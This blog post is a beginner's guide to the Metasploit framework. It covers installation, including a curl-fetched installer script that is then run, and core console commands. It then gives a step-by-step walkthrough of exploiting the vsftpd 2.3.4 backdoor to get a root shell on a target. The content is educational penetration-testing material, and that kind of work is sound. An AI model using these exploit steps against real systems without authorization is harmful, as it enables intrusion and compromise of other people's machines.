top of page

Metasploit: A Beginner-Friendly Guide

🔍 What is Metasploit?


Metasploit is an open-source penetration testing framework developed by Rapid7. It helps security professionals find, exploit, and validate vulnerabilities in systems—legally, of course. You can think of it like a Swiss Army knife for hackers (the good kind).

With Metasploit, you can:

  • Run exploits on known vulnerabilities.

  • Test systems for weaknesses.

  • Create your own payloads and listeners.

  • Conduct post-exploitation tasks.


⚙️ How Does Metasploit Work?


At its core, Metasploit works in three main steps:

  1. Scanning – You identify the target system and gather information about open ports, services, and potential vulnerabilities (tools like Nmap can help here).

  2. Exploitation – You choose a known vulnerability (exploit) and a method to access the system (payload).

  3. Post-Exploitation – Once inside, you can explore the system further: open a shell, read files, dump passwords, or escalate privileges.


🐉 Installing Metasploit on Kali Linux

Luckily, Metasploit comes pre-installed with most versions of Kali Linux. But if for some reason it's missing or you want to install it manually, here’s how:


🔧 Installation via Terminal:

sudo apt update

sudo apt install metasploit-framework


You can verify the installation with:

msfconsole --version


If you want the latest version from Rapid7, you can install it using their script:

curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall > msfinstall

chmod +x msfinstall

./msfinstall


💻 Starting Metasploit


To launch the Metasploit console, use:

msfconsole


It may take a few seconds to load, but once it does, you’ll see the familiar banner and prompt:

msf6 >

You're now in Metasploit!


🛠️ Basic Commands to Get You Started


Here are some essential commands to help you navigate:

Command

Description

search <keyword>

Search for modules, exploits, payloads

use <module>

Load a specific module

show options

Display required settings for the module

set <option> <value>

Set a value (like RHOST or PAYLOAD)

exploit or run

Launch the exploit

exit

Quit Metasploit



🧠 Tips for Beginners


  • Always use Metasploit in legal and controlled environments.

  • Pair it with tools like Nmap, Wireshark, and Burp Suite.

  • Practice using vulnerable VMs like Metasploitable, DVWA, or Hack The Box labs.

  • Learn the difference between exploit, payload, module, and session.



🧪 Practical Example: Exploiting vsftpd 2.3.4 with Metasploit


✅ Objective:

Gain a shell on a target machine running a vulnerable FTP service (vsftpd 2.3.4).


🔧 Step-by-step Guide:

1. Launch Metasploit Console

msfconsole

2. Search for the Exploit

search vsftpd

Output:

exploit/unix/ftp/vsftpd_234_backdoor


3. Use the Exploit Module

use exploit/unix/ftp/vsftpd_234_backdoor

4. Set Target IP Address

set RHOST <ip_host>

5. (Optional) Confirm Options

show options

6. Launch the Exploit

run


7. Shell Access

If successful, you’ll get something like this:

[*] Command shell session 1 opened (192.168.1.101:4444 -> 192.168.1.100:6200)

Type whoami, uname -a, or id to start interacting with the system:

whoami

Output:

root


You now have a root shell on the target machine! 💻🔓




Recent Posts

See All
Raspberry Pi-hole | Block ADS

Display ads are a huge annoyance that everyone could do without, but blocking them has always been harder to do on mobile devices than on...

 
 
 
TAILS OS - Portable anonymity

Tails (The Amnesic Incognito Live System) is a computer operating system made with Linux and based on Debian. It's designed to be as...

 
 
 
Shell Genie | ChatGPT

Shell Genie is a new command line tool that can be used to ask how to perform various tasks, and it gives you the shell command you need....

 
 
 

Comments


Programming and IT solutions guide on STENGE.info blog
Cybersecurity and Networking tutorials on STENGE.info
IT infrastructure solutions and technology tutorials
STENGE.info logo - Tech Blog for IT Solutions and Tutorials
bottom of page